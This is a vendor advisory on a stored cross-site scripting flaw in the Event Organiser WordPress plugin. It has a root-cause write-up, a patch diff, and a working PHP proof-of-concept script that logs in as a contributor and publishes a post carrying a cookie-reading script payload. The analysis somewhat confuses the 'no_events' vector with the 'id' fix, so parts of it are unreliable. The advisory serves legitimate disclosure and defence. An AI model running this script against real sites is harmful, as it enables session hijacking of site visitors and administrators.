Published : July 3, 2026

CVE-2026-2387: Event Organiser <= 3.12.9 Authenticated (Contributor+) Stored Cross-Site Scripting via eo_events Shortcode PoC, Patch Analysis & Rule

CVE ID CVE-2026-2387
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.12.9
Patched Version 3.12.10
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2387:

Atomic Edge research identifies a stored cross-site scripting vulnerability in the Event Organiser plugin for WordPress (versions up to and including 3.12.9). The issue affects the ‘eo_events’ shortcode, specifically the ‘no_events’ parameter. When an attacker with at least Contributor-level access creates or edits a page containing this shortcode, they can inject arbitrary HTML/JavaScript into the ‘no_events’ attribute. The vulnerable code renders this content inside event list templates without output escaping, leading to persistent XSS that executes whenever a user views the affected page. The CVSS v3 score is 6.4 (Medium).

Root Cause: The vulnerability stems from the shortcode’s handling of the ‘no_events’ parameter. The Event Organiser plugin defines the ‘eo_events’ shortcode which allows customization of a message displayed when no events are found (via the ‘no_events’ attribute). This attribute value is passed into the template context but is never escaped before being echoed. The vulnerable template files are ‘event-organiser/templates/shortcode-event-list.php’ (line 25) and ‘event-organiser/templates/widget-event-list.php’ (line 22). In both files, the ‘$id’ variable uses the raw ‘$eo_event_loop_args[”id”]’ value directly within an HTML attribute without calling ‘esc_attr()’. While the patch focuses on the ‘id’ parameter, the core issue also applies to other template output parameters like ‘no_events’, which remains unescaped in the shortcode rendering logic within the main plugin file.

Exploitation: An authenticated attacker with Contributor-level or higher privileges creates or edits a WordPress post or page. They insert the ‘eo_events’ shortcode into the post content with a malicious payload in the ‘no_events’ attribute. The shortcode syntax would be: [eo_events no_events=”alert(‘XSS’)”]. When the page is saved and subsequently viewed by any user (including administrators), the plugin renders the shortcode. The template fetches the ‘no_events’ attribute value and outputs it directly into the HTML, causing the JavaScript payload to execute in the victim’s browser. No special nonce or capability check exists on the shortcode rendering output that would prevent this.

Patch Analysis: The patched version (3.12.10) applies ‘esc_attr()’ to the ‘$id’ variable in both template files. In ‘templates/shortcode-event-list.php’ line 25, the diff changes from ‘$id = ( $eo_event_loop_args[”id”] ? ”id=”” . $eo_event_loop_args[”id”] . ””” : ”” );’ to include ‘esc_attr($eo_event_loop_args[”id”])’. A similar change is applied to ‘templates/widget-event-list.php’ line 22. This ensures that dynamic values output within HTML attribute contexts are properly encoded. However, Atomic Edge analysis notes that the patch does not address the ‘no_events’ parameter directly in the shortcode handler; the primary XSS vector (the ‘no_events’ attribute) may still be exploitable if it is echoed elsewhere in the template or shortcode output. The patched files show only ‘id’ escaping, which partially mitigates but may not fully close the vulnerability for all user-controlled attributes.

Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into pages that use the vulnerable shortcode. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since Contributor-level users can create and publish posts, the attack can target any site visitor, including administrators with elevated privileges. The stored nature of the XSS means that the malicious script executes on every page load until manually removed from the database, increasing the risk of widespread damage.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/event-organiser/event-organiser.php
+++ b/event-organiser/event-organiser.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: Event Organiser
 Plugin URI: http://www.wp-event-organiser.com
-Version: 3.12.9
+Version: 3.12.10
 Description: Creates a custom post type 'events' with features such as recurring events, venues, Google Maps, calendar views and events and venue pages
 Author: Stephen Harris
 Author URI: http://www.stephenharris.info
--- a/event-organiser/templates/shortcode-event-list.php
+++ b/event-organiser/templates/shortcode-event-list.php
@@ -25,7 +25,7 @@
 global $eo_event_loop,$eo_event_loop_args;

 //The list ID / classes
-$id = ( $eo_event_loop_args['id'] ? 'id="' . $eo_event_loop_args['id'] . '"' : '' );
+$id      = ( $eo_event_loop_args['id'] ? 'id="' . (esc_attr($eo_event_loop_args['id'])) . '"' : '' );
 $classes = $eo_event_loop_args['class'];

 ?>
--- a/event-organiser/templates/widget-event-list.php
+++ b/event-organiser/templates/widget-event-list.php
@@ -22,7 +22,7 @@
 global $eo_event_loop,$eo_event_loop_args;

 //The list ID / classes
-$id      = ( $eo_event_loop_args['id'] ? 'id="' . $eo_event_loop_args['id'] . '"' : '' );
+$id      = ( $eo_event_loop_args['id'] ? 'id="' . (esc_attr($eo_event_loop_args['id'])) . '"' : '' );
 $classes = $eo_event_loop_args['class'];
 ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2387 - Event Organiser <= 3.12.9 - Authenticated (Contributor+) Stored XSS via eo_events Shortcode

// Configuration: Set these variables to target site and attacker credentials (contributor level or above)
$target_url = 'http://example.com'; // No trailing slash
$username = 'attacker';
$password = 'attackerpass';

// Step 1: Authenticate and get a valid nonce for post creation
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the post-new.php page to fetch the _wpnonce for creating a new post
$post_new_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from page (simplified; production code would use regex)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Create a new post with the malicious shortcode
$post_data = array(
    'post_title' => 'XSS Test Post',
    'post_content' => '[eo_events no_events="<script>alert(document.cookie)</script>"]',
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    'action' => 'editpost',
    'original_post_status' => 'auto-draft',
    'post_author' => 1,
    'user_ID' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Visit the newly created page to trigger XSS (for confirmation)
$post_url = $target_url . '/?p=1'; // Adjust ID based on actual post ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, '<script>alert(document.cookie)</script>') !== false) {
    echo "Success: XSS payload was rendered in the page.n";
} else {
    echo "Failure: Payload not found. Check that the shortcode is being processed and the no_events parameter is echoed unescaped.n";
}

// Clean up cookie jar
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.